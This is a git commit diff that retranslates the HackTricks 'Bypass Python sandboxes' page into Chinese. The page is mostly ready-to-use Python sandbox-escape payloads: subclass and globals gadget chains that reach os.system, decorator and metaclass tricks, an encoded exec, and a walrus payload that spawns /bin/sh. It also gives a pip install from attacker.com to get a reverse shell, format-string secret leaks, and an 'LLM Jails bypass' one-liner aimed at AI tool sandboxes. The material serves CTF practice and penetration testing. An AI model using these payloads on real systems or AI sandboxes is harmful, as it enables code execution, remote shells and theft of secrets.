Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

This commit is contained in:
Translator 2025-08-28 10:25:47 +00:00
parent 57d33bca0f
commit 4ec17ead13
4 changed files with 232 additions and 131 deletions

View File

@ -70,6 +70,7 @@
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)

View File

@ -1,12 +1,12 @@
# 绕过 Python 沙箱
# Bypass Python sandboxes
{{#include ../../../banners/hacktricks-training.md}}
这些是一些绕过 Python 沙箱保护并执行任意命令的技巧
下面是一些技巧,用于 bypass python sandbox protections 并 execute arbitrary commands
## 命令执行库
您需要知道的第一件事是,您是否可以直接使用某个已导入的库执行代码,或者您是否可以导入这些库中的任何一个
首先你需要知道的是,是否可以直接使用某个已导入的库来执行 code或者是否可以导入下列任意库
```python
os.system("ls")
os.popen("ls").read()
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
记住_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行****绕过** 沙箱
记住 _**open**__**read**_ 函数在 python sandbox 内可以用来 **读取文件**,以及 **写入一些代码**,你可以 **执行****bypass** 该 sandbox
> [!CAUTION] > **Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
Python 尝试 **首先从当前目录加载库**(以下命令将打印 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'`
Python 会尝试 **优先从当前目录加载库**(下面的命令将打印 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## 使用默认安装的 python 包绕过 pickle 沙箱
## Bypass pickle sandbox 使用系统默认安装的 python 包
### 默认包
你可以在这里找到 **预安装包的列表**[https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
请注意,从一个 pickle 中你可以使 python 环境 **导入系统中安装的任意库**。\
例如,以下 pickle 在加载时将导入 pip 库以使用它:
你可以在这里找到 **预安装** 包的列表: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
注意,通过 pickle 你可以让 python 环境 **导入系统中已安装的任意库**。\
例如,下面的 pickle 在被加载时会导入 pip 库并使用它:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
有关 pickle 工作原理的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
关于 pickle 工作原理的更多信息,请参阅: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip
### Pip package
技巧由 **@isHaacK** 分享
如果您可以访问 `pip``pip.main()`,您可以安装任意包并通过调用获得反向 shell:
如果你可以访问 `pip``pip.main()`,你可以安装任意包并通过调用以下内容获得反向 shell
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
您可以在此处下载创建反向 shell 的包。请注意,在使用之前,您应该**解压缩它,修改 `setup.py`,并输入您的反向 shell 的 IP**
你可以在此下载用于创建 reverse shell 的包。请注意,在使用它之前你应当 **解压该文件,修改 `setup.py`,并填写用于 reverse shell 的 IP**
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> 这个包被称为 `Reverse`。然而,它是特别制作的,以便当您退出反向 shell 时,其余的安装将失败,因此您**在离开时不会在服务器上留下任何额外的 python 包**。
> 该包名为 `Reverse`。不过它被特别设计为:当你退出 reverse shell 时,其余安装过程会失败,因此当你离开时你**不会在服务器上留下任何额外的 python 包**。
## 评估 python 代码
## 使用 `eval` 执行 python 代码
> [!WARNING]
> 请注意exec 允许多行字符串和“;”,但 eval 不允许(检查海象运算符
> 注意 `exec` 允许多行字符串和 ";",但 `eval` 不允许(检查 walrus operator
如果某些字符被禁止,您可以使用**十六进制/八进制/B64**表示法来**绕过**限制:
如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示来 **bypass**限制:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### 其他允许评估 Python 代码的库
### 其他允许 eval python code 的库
```python
#Pandas
import pandas as pd
@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## 操作符和简短技巧
另见 PDF 生成器中真实世界的沙箱化评估器逃逸:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] 表达式求值 → RCE (CVE-2023-33733)。它滥用 rl_safe_eval 从被求值的属性(例如字体颜色)到达 function.__globals__ 和 os.system并返回一个有效值以保持渲染稳定。
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## 操作符和小技巧
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## 通过编码绕过保护UTF-7
## 通过编码绕过防护 (UTF-7)
在 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中,使用 UTF-7 在一个看似沙箱的环境中加载和执行任意的 python 代码:
在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中UFT-7 被用来在一个看似的 sandbox 内加载并执行任意 python 代码:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -150,11 +158,11 @@ return x
```
也可以使用其他编码绕过它,例如 `raw_unicode_escape``unicode_escape`
## 无调用的 Python 执行
## Python 在无法进行调用时的执行
如果您在一个 **不允许您进行调用** 的 python 监狱中,仍然有一些方法可以 **执行任意函数、代码****命令**
如果你处在一个 python jail 中,**不允许你发起调用**,仍然有一些方法可以**执行任意函数、代码**和**命令**
### 使用 [decorators](https://docs.python.org/3/glossary.html#term-decorator) 的 RCE
### RCE 利用 [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -176,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE 创建对象和重载
### RCE creating objects and overloading
如果你可以 **声明一个类****创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **不需要直接调用它们** 的情况下 **被触发**。
如果你能够 **声明一个类****创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **被触发** 时 **无需直接调用**。
#### 使用自定义类的 RCE
#### RCE with custom classes
你可以修改一些 **类方法**_通过覆盖现有类方法或创建新类_使它们在 **被触发****执行任意代码**,而无需直接调用它们
你可以修改一些 **类方法**_通过覆盖已有的类方法或创建一个新类_使它们在 **被触发****执行任意代码**,而无需直接调用。
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### 使用 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象
#### 通过 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象
metaclasses 允许我们做的关键事情是 **在不直接调用构造函数的情况下创建类的实例**,通过将目标类作为 metaclass 创建一个新类
metaclasses 允许我们做的关键事情是:通过创建一个以目标类为 metaclass 的新类,**在不直接调用构造函数的情况下创建一个类的实例**。
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -249,9 +257,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### 创建带有异常的对象
#### 使用异常创建对象
**异常被触发**时,**Exception**的对象会被**创建**,而无需您直接调用构造函数(来自[**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)的技巧):
**exception 被触发** 时,会创建一个 **Exception** 对象,无需你直接调用 constructor来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) 的技巧):
```python
class RCE(Exception):
def __init__(self):
@ -293,7 +301,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### 使用内置函数读取文件帮助和许可证
### 使用 builtins 的 help 和 license 读取文件
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -302,22 +310,22 @@ a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
```
## 内置函数
## Builtins
- [**Python2 的内置函数**](https://docs.python.org/2/library/functions.html)
- [**Python3 的内置函数**](https://docs.python.org/3/library/functions.html)
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
如果你可以访问 **`__builtins__`** 对象,你可以导入库(注意你也可以在最后一节中使用其他字符串表示):
如果你能够访问 **`__builtins__`** 对象,你可以导入库(注意,这里你也可以使用在上一节中所示的其他字符串表示):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
### 无内置函数
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有的全局函数**`open``import``print`... **没有加载**。\
然而,**默认情况下python 会在内存中导入很多模块**。这些模块看似无害,但其中一些 **也导入了危险** 的功能,可以被访问以获得 **任意代码执行**
当你没有 `__builtins__` 时,你将无法导入任何模块,也无法读取或写入文件,因为**所有全局函数**(比`open``import``print`...**没有加载**。\
然而,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能无害,但其中有些**也导入了危险的**功能,可以被访问以获得**任意代码执行**
以下示例中,你可以观察到如何 **滥用** 一些加载的 "**无害**" 模块,以 **访问** 其中的 **危险** **功能**
下面的示例中你可以看到如何**滥用**这些已加载的“**看似无害**”模块中的一些,以**访问** **危险** **功能**
**Python2**
```python
@ -359,15 +367,15 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **位置**,您可以在其中找到 **内置函数**
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用来在数十/**数百**个**位置**中查找**builtins**
#### Python2 Python3
#### Python2 and Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### 内置有效载荷
### Builtins payloads
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -375,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals and locals
## 全局变量和局部变量
检查 **`globals`** 和 **`locals`** 是了解您可以访问的内容的好方法。
检查 **`globals`** 和 **`locals`** 是了解你可以访问什么的好方法。
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -401,15 +409,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 来查找数十/**数百**个可以找到**globals**的**地方**。
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
## 发现任意执行
在这里,我想解释如何轻松发现**加载的更危险功能**并提出更可靠的利用方式
在这里我想解释如何轻松发现**已加载的更危险的功能**并提出更可靠的利用方法
#### 通过绕过访问子类
#### 使用绕过方法访问子类
此技术最敏感的部分之一是能够**访问基础子类**。在之前的示例中,这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有**其他可能的方法**
该技术最敏感的部分之一是能够**访问基类的子类**。在前面的示例中,这通过 `''.__class__.__base__.__subclasses__()` 来实现,但还有**其他可能的方法**
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -437,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### 查找加载的危险库
### 查找加载的危险库
例如,知道使用库 **`sys`** 可以 **导入任意库**,您可以搜索所有 **加载的模块中包含 sys 的模块**
例如,已知使用库 **`sys`** 可以 **import arbitrary libraries**,你可以搜索所有 **modules loaded that have imported sys inside of them**
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
有很多,**我们只需要一个**来执行命令:
有很多,且**我们只需要一个**来执行命令:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
我们可以对我们知道可以用来**执行命令**的**其他库**做同样的事情
我们可以**其他库** 做同样的事情,这些库我们知道可以用来 **执行命令**
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -502,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
此外,如果您认为**其他库**可能能够**调用函数以执行命令**,我们还可以**按函数名称过滤**可能的库
此外,如果你认为 **其他库** 可能会 **调用函数来执行命令**,我们也可以在可能的库中 **按函数名称进行过滤**
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -535,10 +543,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## 递归搜索内置对象、全局对象...
## 递归搜索 Builtins, Globals...
> [!WARNING]
> 这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本**递归查找可以找到该对象的地方。**
> 这真是**太棒了**。如果你正在**寻找类似 globals、builtins、open 的对象或其他任何对象**,只需使用这个脚本来**递归查找可以找到该对象的位置。**
```python
import os, sys # Import these to find more gadgets
@ -654,15 +662,16 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
您可以在此页面查看此脚本的输出:
你可以在此页面查看此脚本的输出:
{{#ref}}
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
{{#endref}}
## Python 格式字符串
## Python Format String
如果您**发送**一个将要**格式化**的**字符串**给 python您可以使用 `{}` 来访问**python 内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如
如果你向 python **send** 一个将要被 **formatted****string**,你可以使用 `{}` 来访问 **python internal information.** 例如,你可以使用之前的示例来访问 globals 或 builtins
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -682,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
注意你可以通过 **点** 的方式正常 **访问属性**,例如 `people_obj.__init__`,而使用 **括号** 访问 **字典元素**,不带引号 `__globals__[CONFIG]`
注意你可以`people_obj.__init__` 那样用**点**正常访问**属性**,也可以用不带引号的**中括号**访问**字典元素** `__globals__[CONFIG]`
还要注意,你可以使用 `.__dict__` 来枚举对象的元素 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
另外注意你可以使用 `.__dict__` 来枚举对象的元素,例如 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
格式字符串的其他一些有趣特性是可以通过添加 **`!s`**、**`!r`** 和 **`!a`** 分别在指定对象中 **执行** **`str`**、**`repr`** 和 **`ascii`** 函数:
格式化字符串的另一个有趣特性是可以通过在目标对象后加上 **`!s`**、**`!r`**、**`!a`** 来**执行** **`str`**、**`repr`** 和 **`ascii`** 这几个函数,分别对应
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
此外,可以在类中**编写新的格式化程序**
此外,可以在类中 **code new formatters**
```python
class HAL9000(object):
def __format__(self, format):
@ -702,17 +711,16 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**更多关于** **格式** **字符串** 示例的例子可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
**更多示例** 关于 **format** **string** 示例可在 [**https://pyformat.info/**](https://pyformat.info) 找到
> [!CAUTION]
> 还请查看以下页面,了解将从 Python 内部对象中**读取敏感信息**的工具:
> 另请查看以下页面,了解会 r**ead sensitive information from Python internal objects**
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
### 敏感信息泄露有效载荷
### 敏感信息泄露 Payloads
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -730,20 +738,20 @@ str(x) # Out: clueless
```
### LLM Jails bypass
从 [这里](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### 从格式到 RCE 加载库
### 从 format 到 RCE加载库
根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/),可以通过利用 Python 中的格式字符串漏洞从磁盘加载任意库。
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
作为提醒,每次在 Python 中执行操作时,都会执行某个函数。例如 `2*3` 将执行 **`(2).mul(3)`** 或 **`{'a':'b'}['a']`** 将是 **`{'a':'b'}.__getitem__('a')`**。
作为提醒,在 python 中每当执行某个操作时,都会触发相应的函数。例如 `2*3` 会执行 **`(2).mul(3)`**,而 **`{'a':'b'}['a']`** 会执行 **`{'a':'b'}.__getitem__('a')`**。
